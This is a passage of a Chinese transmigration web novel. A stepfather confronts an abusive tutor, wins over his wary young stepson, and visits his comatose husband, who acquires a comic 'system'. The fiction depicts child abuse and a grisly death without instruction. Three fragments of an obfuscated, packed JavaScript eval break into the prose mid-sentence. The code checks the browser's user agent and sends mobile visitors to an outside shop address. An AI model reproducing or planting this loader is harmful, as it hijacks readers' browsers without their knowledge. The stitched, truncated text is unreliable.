那老师被程乐言骂了句“煞笔”,反应很震惊,好像没预料到程乐言居然会这么骂他,指着程乐言鼻子道:“程乐言你他妈骂谁呢你?你敢骂我?” 程乐言:“谁煞笔骂谁,你煞笔骂你,有什么不敢的。你是什么都一教就会是吧?这样,打个赌,我说个单词,你复述一遍,复述出来了,这100万就是你的。” 把刚刚容妈妈给他的100万直接掏了出来,放手上晃了晃。 老师看着他手里的支票,先是惊讶,又是不自主地吞咽了一下。 程乐言:“你复述不出来,向我儿子鞠躬道歉,然后自己收拾东西走人,连带着过去的所有薪水一起给我吐出来——啊,他一节课多少钱?”最后那句是问的管家。 李管家:“一节课两千块。” 程乐言震惊到爆,眼睛都差点掉下来:这货色,两千?两千???什么情况,这个世界该不会通货膨胀,人民币等同于越南盾了吧!? 系统:【没有通货膨胀,纯是这人的工资高!榨干他啊宿主!要回来要回来!】 程乐言望向那老师:“怎么样,赌吗?” 对方眼睛还看着那支票,最后一咬牙,道:“赌!” 程乐言:“行。我读了啊——Рентгеноэлектрокардиографического.” 一长串,听起来叽里呱啦,不像一个单词,简直像是一段单口相声。 老师怒道:“你耍我呢吧!这玩意你编的吗!?” 程乐言神色嘲讽:“这是俄语,意思是x射线心电图。你不信就掏出手机来百度一下,看我读得对不对。 “所以你也不会读是吧?你觉得这单词难,你不会念,但是对语言迟缓的孩子来说,你说个‘车车’他都觉得难,他不跟着读就是因为他不会,他的能力做不到,就像你一样。 “你是个老师诶,你拿两千块一节课的薪水,你真的了解语言发育迟缓吗?你了解婴幼儿的自闭症谱系是什么意思吗?人家说阿症,你该不会以为是说阿兹海默吧? “等等,阿兹海默都高看你了,你应该以为是阿兹卡班还差不多。” 最后总结道:“行了,先转账吧,把过去的钱还回来。” 那老师急眼了,大声叫道:“程乐言,你什么意思?我哥知道你这样吗!?你怎么给我哥交代?” 程乐言一愣,419也震惊地在他脑子里道:【宿主,这这这,我在查背景,刚发现这人居然是项景洲的弟弟!他叫项景临,就是个大学生,读学前教育的。项景洲推荐的他,你就赶紧把人雇过来了,还特意开了高薪给他送钱啊!】 ……就说。原来是这样。 你们哥俩骗钱还特么组团来啊。 程乐言眯了眯眼:“我什么事你哥不知道?你哥不同意我能这样?哈哈,说煞笔你还真是煞笔了,真以为你哥得管你一辈子啊。” 这话好像一盆冷水浇下,项景临的心,猛然凉了下来。 程乐言从前是项景洲舔狗,对他也是一直非常客气,小心翼翼地讨好,他怎么能想到程乐言翻脸不认人的时候,还有这么一面! 而且,项景洲!项景洲为什么这样!?怎么回事?是他和他妈计划的事被项景洲发现了吗,所以他哥才要程乐言这么做!? 他心下乱极。 程乐言道:“你上了三十节课是吧,赶紧的,六万块钱还回来。” 项景临那钱攒了很久,准备租辆车、再租点衣服手表什么的充面子的,现在哪里肯还。情急下耍赖道:“凭什么。之前的钱那是我劳动所得,凭什么还给你。” 程乐言不急,慢慢悠悠道:“你是X大的大二学生,是吧?放心,我明天就去找你辅导员,顺便在你所有同学面前都宣传一下你这事儿。也找你们校长聊聊,我记得容家从前在你们学校捐过楼啊,在校长面前应该说得上话。 “哦对了,还要走一走法律程序,我可以用容家的律师嘛,到时候还得问你要精神损失费,毕竟你对我儿子的心理造成了不可磨灭的损伤。啊还有什么表白墙,什么BBS,都可以安排一下——” 程乐言是真的抓住了项景临死穴。 他想充大款,是因为最近在追个富二代女同学,急需在对方生日时炫一波,最好借此拿下对方,实现阶级跃层。他知道自己哥哥是靠程乐言发达的,他看不起哥哥,最后选的却也是这么条路。 但如果程乐言真的闹到他学校里,他这计划就全完了。 他焦急叫道:“程乐言你够了!行了行了我把钱还你,我还,好了吗!” 程乐言马上掏出手机,亮出收款码。 直到“叮”一声,六万块入账,程乐言才觉得心里舒服了点。 眼见项景临灰溜溜地就要走了,程乐言马上道:“等会儿,你还没跟我儿子道歉呢!” 项景临骂道:“程乐言你真有病吧你,我跟个三岁小孩道什么歉,再说了,当初也是你——” 程乐言打断:“不道歉啊?那明天你学校见。” 项景临咬着牙,心里数个念头来回旋转,最后还是硬着头皮,对着幼崽鞠了一躬,道:“对不起,我向你道歉。” 程乐言:“你骂的那些话,谁蠢死了啊,谁是死小孩,谁是王八蛋?说。” 项景临继续咬着牙道:“……我,是我!我蠢死了,我是死小孩,都是我。我道歉。我瞎说的。现在总行了吧!” 程乐言挥挥手:“行吧,可以滚了。” 项景临火速跑了。 濯濯眨了眨大大的眼睛,有些迷茫,又有些——难以相信的惊喜。 他是不是……再也不用看到项老师了。 那个项老师,每天都在骂他,还拿戒尺打他的手,他的《记仇本》上也有项老师的那页。他甚至有时候做噩梦,梦里都是项老师在骂他。 他知道项老师是后爸找过来的,可是现在,后爸居然把项老师赶走了。 项老师还向他鞠躬,项老师还给他道歉。 是真的吗?这一切都是真的吗?幼崽简直不敢相信。 程乐言抱着濯濯,这时摸了摸他的头,捏着夹子音说:“宝宝,刚刚那个人坏坏,不要听他说的那些话,他乱说的!他是坏人,等着后爸以后让警察叔叔抓他哈。宝宝不怕不怕啦。” 濯濯呆呆地看着他,眼神里还有一些不敢相信的胆怯。 程乐言被这眼神一看,心都要化了,道:“宝宝放心,那个人以后都不会再出现在你的面前。后爸向你保证,他再也伤害不到你了。后爸还会让他受到相应的惩罚。” 他轻轻叹息一声:“宝宝是不是很伤心,很害怕,很难过啊。后爸知道。宝宝受委屈了。” 然后把幼崽按在了自己怀里。 濯濯原本还能忍着,还在心里不断地对自己说“我是铁皮人我没有眼泪”,这时候再忍不住。 他不知道后爸怎么回事,不知道后爸到底想要干嘛,不知道后爸为什么抱住他,对他说这些话。 但…… 他是铁皮人没错,可是他好想哭啊。 程乐言胸口的衣服被幼崽的眼泪浸湿了。 小孩子哭起来,都是雷声大雨点也大,鼻涕一把眼泪一把的。濯濯却是哭得无声无息,更惹人心疼。 程乐言深知接纳孩子情绪的重要性,一直没说话,只是抱着濯濯,轻轻地拍着对方的后背。 半晌,濯濯才抬起头。他的脸都哭花了,像个小花猫。 育儿嫂张妈主动道:“大少奶奶,我带小少爷去洗洗脸吧。” 程乐言点头:“去吧。” 把幼崽又抱给了张妈。 幼崽住三楼,张妈抱着他往电梯那儿走,他就越过张妈的肩膀,一双还蕴着水的眼睛,默默地,默默地看着程乐言。 他想一定是他哭坏了眼睛,眼花了——他觉得后爸和他从前看到的不一样。 今天的后爸变得很好看,像是在发光。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648096|156557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 张妈抱濯濯上楼,半天都没下来,程乐言正想去看看时,张妈回来了,说濯濯洗过澡后喝了盒牛奶,然后自己睡着了。 程乐言不放心,又上去了一趟,看着幼崽裹着张被子呼吸均匀,这才离开。 他不知道的是,濯濯根本没有睡着。又过了半个多小时,一片昏暗的房间里,濯濯沉默地爬起来,从床边一个破旧的泰迪熊肚子里,掏出一个老款手机。 通讯录里只有一个人,幼崽安静地给他发信息:【顾秦哥,程乐言变了。他变得很奇怪。他让老师走了,他还抱我,没有打我。】 他语言发育迟缓,一个字都不会说,但用拼音打字却是飞快且熟练,识字量已经过千,只是没别人知道。 而“顾秦”,正是——《囚爱》一书的主角攻,如今只有八岁。 顾秦秒回:【他又搞什么花样!是不是想利用你讨好你奶奶,或者该不会是想讨好你,让你放松警惕,然后把你卖掉吧!?】 幼崽愣了一会儿,又回复道:【我会小心的,顾秦哥。】 顾秦:【嗯!你每天都给我发一条消息,超过48小时没有,我就去找你奶奶!】 顾秦:【濯濯,你等我几年,再等我几年,等我有钱了,我一定把你接出来,我们一起吃饭一起睡觉,谁敢欺负你,我打死他。】 幼崽盯了这信息良久。 后来,他又借着手机的光,去拿了自己的《记仇本》,翻到了程乐言的那页。 今天不想画大宝剑了。 他郑重其事地在上面画了一个大药丸。 只有一颗。 如果后爸真的是有病,感觉一颗大药丸根本治不好他的。 不过——要是后爸一直这样,似乎也挺好。 与此同时,程乐言吃完了晚饭,正躺床上消食。 容家财大气粗,晚餐非常丰富,澳龙、帝王蟹什么的都有,程乐言眼花缭乱。别墅里日常的花费不用程乐言掏钱,他一顿胡吃海塞,饱得不行,动也不想动。 程乐言:【唉,这都多好吃的,不过濯濯怎么都不爱吃呢。】 系统:【宿主,你好关心他呢。】 程乐言:【那当然。他那么可爱,是我的工作任务,又事关我的狗笼,能不关心吗。而且……怎么说呢,我小时候过得不怎么样,看到濯濯,就会想把我小时候想要的一切都给他,算是补偿自己。很多大人都有这种心态吧。】 系统适时道:【那宿主你要不要接受世界任务呀?跟濯濯有关哦,而且还有钱赚。】 程乐言来了点精神:【哦?能赚多少?】 系统:【我先给你说下任务哈。按照《囚爱》这本书的剧情,反派结局肯定是“恶有恶报”:他被主角攻把公司整垮,又被主角攻受找到了他违法拘禁、致人死亡的证据——就是那个狗笼哈——反派最后被执行了死刑。 【问题是到了这个世界,真实情况却是反派强到不行,把主角攻、主角受、乃至于各路配角的公司全部搞垮,自己权势滔天,混得风生水起,没人奈何得了。他还把主角攻受都给关起来了你敢信!主角攻都搞不过他,相当于他把整个世界都要搞残了呀! 【世界意志没有办法,向穿书局求助,正好原主意外心梗过世,宿主你就来了。主要目的,就是改变整个世界被反派摧残的命运。】 程乐言:【嗯嗯。所以,统子哥,能赚多少?】 系统:…… 感觉自己白吧啦吧啦了一堆。 系统:【改变世界命运10%,奖励您10块钱。】 程乐言:【……你是在逗我吗。】 系统:【改变世界命运20%,奖励您100块。世界命运30%,奖励您1000块。随后是1万块,10万块,以此类推。也就是说,改变世界命运90%,奖励您十亿。改变世界命运100%,奖励您——一百个亿。】 系统的心怦怦乱跳。这是它权限内能给出的最高价码了,还掏光了自己的私房钱,也不知道够不够打动宿主啊,好紧张是怎么回事。 下一秒,程乐言猛吸一口气,随即在脑海里大声叫道:【统子爹!爹!!统啊,你就是我失散多年的亲爹!!!爹你居然这么有钱的吗?看不出来啊爹!】 又喜气洋洋道:【想不到我才穿书第一天,这爸爸妈妈儿子就都有了呀,哈哈哈!我们四个就是幸福快乐~的一家~】 系统:………… 救…… 这就是你们剧情组的日常吗…… 跟我从前带的宿主不一样。 我之前的宿主都只会“嗯”或者“啊”的。 呜呜,其实还是有点想念我从前的任务啊…… 系统:【我,我也没有多少钱,我只是帮助过23个主角受和107个主角攻从而赚了点小钱而已。】 程乐言奇道:【咦?为什么主角受和主角攻的数量差这么多?还有你说你是R18系统,是我想的那个意思吗?】 系统:【……宿主,不如还是来讨论任务吧!】 程乐言:【好嘞!】 程乐言没有原主的记忆,这时系统便开始给他介绍一些背景和过往要点。后来程乐言干脆问系统要了《囚爱》原著,激情拜读。 他看着看着,自己看睡着了。 半夜两点。 程乐言梦见了自己的婚礼,恋人是璀璨金苹果和支票一张,他在睡梦中都绽放着幸福且满足的微笑,无法控制地笑出了声。 半夜两点。 系统419在兢兢业业地研究晋家穿书文实录,迷惑地得出结论:晋家的攻好像都缺失了某种脖子以下的东西啊?这样也没关系吗? 半夜两点。 容妈妈满脑子都是“和所有的烦恼说拜拜”循环播放,忍无可忍从床上坐了起来:不是,程乐言是不是有病? 半夜两点。 幼崽濯濯满脑子都是“爸爸的爸爸叫爷爷”循环播放,忍无可忍从床上坐了起来:不素,程乐言素不素有病? 半夜两点。 A市某疗养院的病人体内,一个系统发出了惨烈的哀嚎:【什么情况啊!!!我本来是剧情组的,为什么突然变成R18组了!!!这任务都什么跟什么啊!而且我宿主怎么还是个植物人?!植物人???这特么任务还做个P了啊!】 【宿主,你醒醒啊宿主!!!】 【你醒醒啊!!!】 4. 销冠 “吹吹人间发财风,填我十万八千梦”,程乐言那一晚睡得极好。 他睡别墅的主卧,床也就是植物人老攻容妄之从前的床,很舒服,床品又轻又亲肤,温度湿度适中,程乐言醒来后只觉得像是陷在棉花里,完全不想爬起来。 系统超惊讶:【现在才五点!宿主你怎么五点就醒了?】 程乐言:【昨天那小说还没看完嘛,那不得在今天上班之前先把书看完。我记着这事儿,生物钟就会叫醒我。】 系统:【……宿主你对工作也太认真了一点。】 程乐言:【那是。我做过六个销售岗,全部都是销冠,全部都是第一天就把产品信息都背下来啊。统子爹,你以为销冠是那么好当的啊。】 系统:【宿主你可别叫我“爹”了,我好怕折寿哦。】 程乐言“哈哈”一声,赖了两分钟床,就爬起来去洗漱了一下。末了靠在沙发上,手捧金苹果,继续去读那本《囚爱》。 翻过最后一页,程乐言只觉得脑子嗡嗡的。 这书里的逻辑就理解不能啊! 反派哥为什么喜欢主角受,就因为“他笑起来阳光灿烂不做作,仿佛聚集了世界上所有的生机”吗? 反派哥为什么不好好追人,反而笃定了主角受肯定不爱他,折磨来折磨去的?这反派配置也是个高富帅,真要好好追人说不准有戏啊? 反派哥还是个烟鬼,作者一直描写他拿烟的手多帅云云,可是抽烟的人牙会黄诶,这样真的不要紧吗? 再有就是,看完小说之后,程乐言实在很难把书里那个法制咖反派哥,和昨天见到的软软甜甜的幼崽,联系到一起。 濯濯以后会变成那样? 那样??? 你这是基因变异了吧你! 就比如书中关于“程乐言”结局的那段描写,原文是这样的: 【容寄时走进房间,夹烟的手指随便朝个方向指了指:“弄开。” 助理走上前去,掀开了一块遮光油布,露出了下面的狗笼。 狗笼里恶臭熏天,脏污四溢,有团不成人形的东西瘫倒着,一动不动。助理掩鼻凑近了看看,道:“容少,的确是咬舌自尽了。” 容寄时“啧”了一声,走到近前,低头看着狗笼。 烟抽完了,他踢了狗笼一脚,嫌恶道:“真恶心。” 然后离开。】 对了,那个“不成人形的东西”,说的就是程乐言。 他居然连姓名都不配有! 死的还这么惨,幻肢痛了啊反派哥! 还有那“助理”,又是倒了什么霉,还要负责观察尸体这种事!?这一个月得开多少钱,才能捏着鼻子打这份工啊! 幸亏幸亏,孩子现在才三岁,一切还来得及。 加油啊程乐言,把反派哥抑制在摇篮里! 对了,还有一件重要的事:以后家里绝对不能养狗! 绝对!!! 时间差不多了,程乐言换衣服下楼。 一楼的餐厅里,已经摆上了丰盛的早餐,中式西式各种都有。 濯濯穿着一条格子背带裤,安静地坐在旁边的儿童餐椅上。 程乐言第一反应是冲过去,捏着夹子音道:“宝宝,后爸跟你说,咱们以后绝对不要养狗狗哟。” 濯濯:????? 但内心里也舒了口气。 刚刚他一直在想,今天看到的会是哪个后爸,是从前那个会打他骂他、眼神里全是污浊的后爸,还是那个脑袋有病病,疑似需要大药丸的后爸——太好了,是后者。 旁边的育儿嫂张妈道:“大少奶奶,您来啦。” 程乐言道:“张妈,以后叫我小程吧,或者程先生,都行,可别大少奶奶了。这称呼听得我奶疼。大家也是啊,以后换个称呼。” 张妈一愣:“好的,那就……程先生,我们以后都叫您程先生吧。我这正准备给濯濯少爷做早餐呢。” 程乐言心想,这桌上这么多吃的,居然还要给濯濯单独做吗,这富贵人家果然讲究。 下一秒,就看着张妈搬过来了一个破壁机,开始了她的表演。 她往里面放了点紫薯,“日”一声打成了糊糊。 然后放了点绿叶菜,“日”一声打成了糊糊。 又放了点橙子苹果,“日”一声打成了糊糊。 还有别的,乱七八糟种类还挺多,显得步骤还挺繁琐,但统一都是“日”一声打成了糊糊。 最后她把所有的糊糊混合,再倒回破壁机里,一起“日”一声打成了混合的糊糊。 破壁机里的液体介于紫色和棕色之间,是粘稠的,张妈把糊糊倒进一个儿童餐碗里,还放里面加了几滴核桃油,接着放了根粗吸管,端到濯濯面前,慈眉善目道:“濯濯少爷,吃早餐了。” 程乐言:“呕……” 不是故意的,但他真的好想吐。 这踏马什么玩意啊!他隔夜饭都要吐出来了啊! 看她挺讲究的,搞了半天,一堆的食材,最后就搞了个这? 这??? 谁会吃这玩意才是有鬼吧!!! 果然,幼崽对这玩意看都不看一眼。 张妈还拿了个勺子试图喂,递到幼崽嘴边了,后者紧紧闭着嘴,生怕张开一点儿缝。 张妈叹口气,为难地看向程乐言,道:“程先生,您看,小少爷根本就不肯吃呀。” 程乐言:“呕呕呕呕呕……” 他直接道:“张妈,你一个月薪水多少钱?” 张妈:“程先生,这……” 程乐言:“说吧。” 张妈看了看左右,抿了抿嘴,小声说:“两万八。” 程乐言倒吸一口冷气:靠!!这么高!育儿嫂果然是个有发展的职业啊! 他直接说:“行行行,你把这玩意喝了,我现在马上给你两万八。” 张妈的嘴唇颤了颤,勉强陪着笑:“程先生,您说笑了,这早餐都是按照营养师专门给小少爷定制的食谱来做的啊,营养非常齐全。营养师也说了,可以使用破壁机。” 程乐言:“那是有些不好嚼的,可以用破壁机打一下,不是说所有的东西都一股脑放里面,‘日’一声打成糊吧?这玩意你能吃??恶不恶心啊。你要是真愿意吃,以后你的三餐都是‘日’一声打成糊糊的,我看你能吃几顿。” “人家小孩子是小,又不是傻!” 说话挺不客气的。 主要也是昨天看《囚爱》时,除了他这个“狗笼”结局,还提到大反派小时候有个恶保姆,一直虐待他。只是在大反派成年之前,恶保姆得了癌症死掉了,以至于大反派没有亲手报复成功。 恶保姆姓谁名谁,小说里没写,程乐言也说不准到底是不是张妈,终归是心有怀疑。 又见濯濯瘦成那样,张妈弄了这么恶心的东西,话里话外却是孩子挑食、不吃饭,能有好气儿就怪了。 他撂下了话,也不再和她多说,伸手拿过了餐桌上的一块南瓜豆沙包,掰成两半,自己吃了一口,觉得味道不错,就把另一半放在了濯濯面前的餐盘里:“宝宝,是南瓜豆沙包哦,我觉得挺好吃的,你尝尝看?” 濯濯迟疑了一下,仍是一动未动。 程乐言不以为意,又拿过一块紫薯卷馒头,同样一人一半。 濯濯仍然没吃。 张妈一脸委屈:“程先生,你看,小少爷不肯吃的呀。照我说,还不如打成糊糊呢,至少营养全面,让小少爷吃了个几口,也够了。咱们用老方法,我和小孙一起喂吧。” 小孙,说的是另一个保姆。喂个饭还要两个人,程乐言意识到,她的意思居然是把这糊糊强喂给濯濯。 他看着那杯糊糊,想起原主做的狗事,只觉得胃更恶心了,皱了皱眉。 看到他嫌恶的表情,濯濯的身体又轻微地颤抖了一下。 后爸会……会强塞到自己嘴里吗,像从前那样? 他整个人都紧绷起来,胃中更是一阵翻涌,喉咙都忍不住干呕。 但是却——什么都没发生。 程乐言说:“从前是从前。今天正好大家都在,我把话说得明白点,我从前脑子被驴踢了,做了很多错事,现在我改邪归正了,以后都别拿从前那套说事儿。 “昨天我跟我妈说的话你们都听到的吧,我这是立了军令状了,肯定要照顾好濯濯的,我可不希望你们谁拖我后腿啊。从今往后,濯濯的一切都直接向我汇报,都别糊弄。听懂了吧?” 客厅里佣人们都是神色各异,高高低低地应了声。张妈的脸色一阵红一阵白的。 程乐言把众人神色尽收眼底,又对濯濯道:“宝宝,你就当现在的后爸是个新后爸哈,过去的后爸已经嘎了,现在是崭新的我。后爸变了,后爸不会再勉强你做那些你不喜欢做的事。 “你不喜欢吃这些是吧,没关系,你想吃就吃,不想吃就不吃。” 接着,他就好像一切都没发生似的,自己吃起了早餐。 他吃东西仪态很好,细嚼慢咽,没有一点声音,但吃的速度不慢,且眼睛眯了起来,显出了一种满足的神色。像吃够了小鱼干的猫咪。 看他吃饭,真的会让人食欲大增。 ——是的,有段时间他做过吃播,专业的。 濯濯看着看着,就觉得本来已饿到抽紧的肚子,变得更饿了。 幼崽有点赌气地想:后爸果然是坏人,故意在馋他。但没关系,他是铁皮人,他不怕饿。 下一秒,程乐言就把一半烧麦放到濯濯的餐盘上,然后是涂着黄油的吐司,煎得略微焦黄的培根…… 那些他觉得好吃的食物,都给了幼崽一半。 这也是他当育儿嫂时的经验:有时候小朋友会需要看到大人吃,才跟着吃。 最后他吃完了,满足地呼出一口气,又看向濯濯,眼睛弯了弯:“这些东西都是濯濯的,什么时候濯濯想吃就吃。不想吃也没关系。” 又道:“张妈,这糊糊怎么还在这儿呢,弄得人食欲都没有了,赶紧拿去扔了。” 张妈:“……好,程先生。” 幼崽看着张妈的背影,看着面前盘子里堆得很高很高的食物,看着程乐言弯着的亮亮的眼睛。 他眨了眨眼,突然又觉得有点鼻酸。 或许程乐言真的在打什么阴险的主意,或许程乐言真的是在讨好自己,让自己放松警惕,想把自己卖掉。 可是……可是…… 可是他觉得自己的铁皮心,就要融化了。 幼崽只能一遍又一遍地对自己说:我是铁皮人,我不会伤心不会哭,也不会融化。 他不是故意不吃饭,不是故意不乖,只是从前吃了饭之后,他总是会无缘无故地睡过去,一睡就是很长很长的时间,醒来还会头很痛。 他不想睡那么久,从那之后他就吃得越来越少:他不敢吃,怕哪次自己再睡下去,就醒不过来了。 那……这一次呢? 他最后拿过了程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程乐言还是第一次开这么壕的车,东摸摸西摸摸,心里一本满足。 濯濯却是紧张至极。 这其实还是濯濯第一次和后爸一起出门,幼崽心中七上八下,一直在想,该不会真的像顾秦哥说的那样,后爸要把他带走卖掉? 卖去哪里呢? 他还能找得回来,找得到爸爸、奶奶他们吗? 可是……可是后爸又说他已经变了,他是新的后爸啊。 到底要不要相信后爸呢。 幼崽惴惴不安,提心吊胆,就听到程乐言道:“宝宝,我带你去看看你爸爸哈。”然后发动汽车。 幼崽眼睛一亮:爸爸!他就要能看到爸爸了吗! 是的,程乐言打算去看一下自己那位便宜老公。 主要是,他没有记忆,但419有原主的背景信息,里面提到,原主一直在暗地里折磨这位植物人,在对方身上发泄自己的憎恶和不满。 虽然程乐言真的不懂他一个月100万的薪水到底在不满些什么,但也非常着急地想去看看,老公现在到底情况如何。 容妄之住在一家高端疗养院里,程乐言载着濯濯开车过去。疗养院前台都认识他,带着他上了顶层的套房。 这里环境很好,套房面积大,窗外有绿色,新风系统让温度湿度都很适宜,而且房间里各种仪器都有。安保也非常给力,保安24小时巡逻。 程乐言粗看一圈,对环境还是满意的。 植物人老公如今正躺在床上。 “这就是我金主哦。”程乐言道,探头去瞧了瞧。 心中惊呼:哇塞,长这么帅的,能当明星了呀。 随即招呼道:“宝宝,快看快看,你爸爸!啊,也是我的金主爸爸!你爸爸和我爸爸都是爸爸,同时我还是你爸爸,我们这是互为爸爸,哈哈哈哈!” 濯濯:……后爸的病情似乎在加重。 但幼崽看向容妄之,眼圈一下子就红了。 奶奶没带他来过这里,他已经有将近一年,没看过爸爸了。 爸爸瘦了。 爸爸还会醒过来吗? 爸爸还会像过去那样,陪他一起搭积木,给他念童话书吗? 爸爸还会再给他买一个……铁皮人吗? 爸爸……我好想你。 过去的记忆在幼崽心中盘旋,幼崽就要掉下泪来。 然而就在这时,他看到后爸凑到爸爸耳边,对着爸爸大声道: “哟吼!天空一声巨响,老奴闪亮登场!老公,您的健康,就由我来守护! “接下来我将为您播报今日新闻。第一条:青岛一男子潜水被当成大鱼钓上岸,解开后换个地方潜水再次被钓。哈哈哈,哈哈哈哈哈! “第二条:宁夏男子入室盗窃,逗留3小时,炒了15个鸡蛋,喝了主人藏酒,还顺手撕了孩子的暑假作业。哈哈哈,哈哈哈哈哈哈哈!” ——然后连着播报了十条沙雕新闻。 濯濯,惊呆了。 眼睛不再疼,鼻子不再酸,也不再想哭,只是惊呆地眨了眨眼。 后爸,后爸在干嘛? 在……冲喜吗? 原来冲喜就是这样冲的吗??? 真的有用吗??? 5. 老公 幼崽被这炸裂的冲喜方式震惊到,程乐言倒是非常泰然自若。 沙雕新闻多有意思啊!这不得多给金主爸爸讲讲。 连讲十个,他方才暂停,往外面张望了下:“咦,这护工怎么还没回来。我们去找下护工哈,问问我老公的身体情况,回来再继续播报新闻。哎呀,老公,你肯定很喜欢听的对不对。” 濯濯:不!你这新闻奇奇怪怪的!爸爸不会喜欢的!!! 不对,爸爸是植物人,爸爸根本听不见! 但是他不知道的是…… 就在程乐言声音响起时,容妄之的大脑,居然真的有了点动静。 容妄之突然——有了意识。 那种感觉像是,从前他的意识被关在一个封闭的黑暗空间,现在,他的意识重见光明。 车祸一年了,但是在他感受之中,像是才过去很短很短的时间,他大脑中还残留着当时的恐惧和疼痛。 下一秒,他就听到了一个朝气蓬勃的声音在耳边响起:“哟吼!天空一声巨响,老奴闪亮登场!老公,您的健康,就由我来守护!” 容妄之:????? 你谁? 什么乱七八糟的? 老公?什么老公,谁是你老公。 这意识缤纷且杂乱,但很快就有了再度陷入黑暗的趋势。 好像一个溺水的人,终于浮出了水面,获得了一口空气,却又被纠缠在脚上的水草,往水下拉去。 他又将无法反抗地坠入那不见天日的深海之中。 却是很快,那声音又一次响起:“老公,接下来我将为您播报今日新闻。第一条:青岛一男子潜水被当成大鱼钓上岸,解开后换个地方潜水再次被钓。哈哈哈,哈哈哈哈哈!” 然后是第二条沙雕新闻。 接着是第三条。 容妄之意识倒是越来越清醒,脑海中缓缓飘出一个问号:? 沙雕新闻十连播之后,那声音念了一句说要去找护工,之后,就没人再说话了,外界陷入了一片沉寂。 而容妄之突然在脑海中听到了另外一个声音。 那声音非常激动,欣喜若狂地叫道:【宿主!宿主你有意识了!啊啊啊天不亡我,宿主你居然有意识了!!!宿主宿主,我是你的系统,编号250!只要你听我的,我们一起做任务,你就能获得无上的金钱,地位和荣耀!】 容妄之想:我的大脑里,有一个东西。 系统250:【不不不,我可不是东西,我是高科技产物,也是你未来的好帮手,好伙伴。放心吧宿主,有我在,你一定能重回巅峰!这一次,你一定能拿回属于你的一切!】 容妄之迅速抓住了重点:他的大脑里有一个东西,大概率是个能通过血脑屏障的纳米AI,任何以语言形式在脑海中呈现出来的念头,都会被那东西捕捉到。 自此,他想要掩藏的想法,就变成了非语言形式的闪念。 250突然发现宿主的想法没声了,不禁问道:【宿主宿主,你怎么不说话了啊??你听到了吗???】 容妄之不冷不热地淡淡答:【嗯。】 250:【好的宿主,我们的未来肯定是光明的嘛,但是我们现在遭遇了一个小状况,就是你车祸后变成植物人了啊!这非常不利于我们的任务。】 容妄之:【嗯。】 250:【还有一个小状况,就是我本来是剧情组的,但是莫名其妙变成R18组了,这个组别的任务都很奇葩啊宿主,至少都要求有动作的。宿主你能做出什么动作来吗?】 容妄之:【嗯。】 250:【……不是,您“嗯”什么?宿主你正常地说句话啊宿主?】 容妄之:【啊。】 250要疯了。 这个宿主是个植物人也就算了,他完全不配合啊!!而且这人脑子里的念头怎么都这么少的??毫无杂念了属于是。 这什么,练过大脑封闭术的巫师吗? 250急道:【宿主,咱得快点抓紧时间,至少搞定一个任务!完成任务也就有了积分,可以转化为健康值,加速你的身体痊愈,这样你才能从植物人状况里醒来!你别告诉我你想当一辈子植物人吧???】 容妄之:【啊。】 250就要骂人了。这人干嘛啊!一直嗯啊嗯啊的,你说句话啊倒是!你一直这样我们的任务要怎么—— 咦? 系统突然震惊地发现,它的宿主,在莫名其妙的情况下,莫名其妙地完成了一个任务。 那个任务内容是:【你再发不出别的声音,能说出口的话语只剩下“嗯嗯啊啊”。】 这特么什么见了鬼的任务。R18组的任务都有病是吧。 但这种见了鬼的任务居然也能完成??? 250喜极而泣,叫道:【宿主,任务完成了!!你完成了“嗯嗯啊啊”的任务!我看看,啊奖励是……呃……奖励了积分,好棒啊宿主!不过,不过,就,还额外奖励了一个buff。】 250的声音越来越低,最后声如蚊呐:【这个奖励会让你拥有最迷人的唇色,像是玫瑰花瓣揉碎后沾染而成的色彩,还会嘟嘟的,你的恋人看到了会很想亲。】 系统说到最后都有点无语了,只得干巴巴地笑了两声:【啊哈哈哈,这就是R18组的奖励吧,啊哈哈哈,还挺不错嘛,啊哈哈哈。】 容妄之:……………… 他对250说出了迄今为止最长的一句话:【这位250先生,请问你怎样才肯离开我的身体?】 250欲哭无泪。 我也想知道啊大哥! 所以我一个剧情组的到底为什么变成R18组了啊啊啊! 这任务太奇葩了,主神,我想回家! 也就是这时,程乐言回来了。 他想找护工问问容妄之的身体情况,但护工没找到。疗养院工作人员让他稍等,他于是他带着濯濯回来。 看到容妄之的脸的时候,程乐言不禁一愣。 随即无语道:“神经病啊!!谁给我老公擦口红了啊?” 又看了两眼,更是满头问号:“靠了,擦口红就算了,还给植物人弄了个嘟嘟唇,脑子秀逗了吧!” 再多看了几眼,嘟囔着说:“怎么回事,这个嘟嘟唇看着还挺诱人的哈。这疗养院搞什么鬼,拿我老公当什么,唇模吗?濯濯你快来看你爸这个嘟嘟唇!” 容妄之:……………… 啊。 濯濯也在。 窒息了。 程乐言实在是非常莫名。 平心而论,金主老公有着无比一张无比优越的脸:鼻梁高挺,眉眼深邃,棱角分明,骨相绝美。 唇很薄,显出一些淡漠和凉薄。 只是躺得太久,皮肤极为苍白,脖子上的血管都是青色的。 而现如今,那几乎白到病态的脸上,突然有了红色的,简直有些靡艳的唇。 真的不能多看,多看两眼,就觉得很想去亲,这样显得自己很像是一个涩情狂。 刚刚的时候就明明还没有这样啊! 神经病吧,这是趁着自己刚刚出去的这么几分钟的时间,进来了一个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 